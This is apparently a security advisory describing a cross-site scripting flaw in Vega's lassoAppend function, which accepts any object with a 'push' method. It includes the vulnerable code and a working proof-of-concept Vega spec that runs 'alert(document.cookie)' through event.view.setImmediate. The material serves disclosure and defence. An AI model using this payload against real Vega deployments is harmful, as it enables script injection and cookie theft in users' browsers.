Vega's lassoAppend
function: lassoAppend
accepts 3 arguments and internally invokes push
function on the 1st argument specifying array consisting of 2nd and 3rd arguments as push
call argument. The type of the 1st argument is supposed to be an array, but it's not enforced.
This makes it possible to specify any object with a push
function as the 1st argument, push
function can be set to any function that can be access via event.view
(no all such functions can be exploited due to invalid context or signature, but some can, e.g. console.log
).
The issue is that lassoAppend
doesn't enforce proper types of its arguments:
.....
export function lassoAppend(lasso, x, y, minDist = 5) {
const last = lasso[lasso.length - 1];
// Add point to lasso if distance to last point exceed minDist or its the first point
if (last === undefined || Math.sqrt(((last[0] - x) ** 2) + ((last[1] - y) ** 2)) > minDist) {
lasso.push([x, y]);
.....
Use the following Vega snippet (depends on browser's non-built-in event.view.setImmediate
function, feel free to replace with event.view.console.log
or alike and observe the result in the browser's console)
{
"$schema": "https://vega.github.io/schema/vega/v5.json",
"width": 350,
"height": 350,
"autosize": "none",
"description": "Toggle Button",
"signals": [
{
"name": "toggle",
"value": false,
"on": [
{
"events": {"type": "click", "markname": "circle"},
"update": "toggle ? false : true"
}
]
},
{
"name": "addFilter",
"on": [
{
"events": {"type": "mousemove", "source": "window"},
"update": "lassoAppend({'push':event.view.setImmediate},'alert(document.domain)','alert(document.cookie)')"
}
]
}
],
"marks": [
{
"name": "circle",
"type": "symbol",
"zindex": 1,
"encode": {
"enter": {
"y": {"signal": "height/2"},
"angle": {"value": 0},
"size": {"value": 400},
"shape": {"value": "circle"},
"fill": {"value": "white"},
"stroke": {"value": "white"},
"strokeWidth": {"value": 2},
"cursor": {"value": "pointer"},
"tooltip": {"signal": "{Tip: 'Click to fire XSS'}"}
},
"update": {"x": {"signal": "toggle === true ? 190 : 165"}}
}
},
{
"name": "rectangle",
"type": "rect",
"zindex": 0,
"encode": {
"enter": {
"x": {"value": 152},
"y": {"value": 162.5},
"width": {"value": 50},
"height": {"value": 25},
"cornerRadius": {"value": 20}
},
"update": {
"fill": {"signal": "toggle === true ? '#006BB4' : '#939597'"}
}
}
}
]
}
This issue opens various XSS vectors, but exact impact and severity depends on the environment (e.g. Core JS setImmediate
polyfill basically allows eval
-like functionality).
{ "nvd_published_at": "2023-03-04T00:15:00Z", "github_reviewed_at": "2023-03-02T23:08:21Z", "severity": "MODERATE", "github_reviewed": true, "cwe_ids": [ "CWE-79" ] }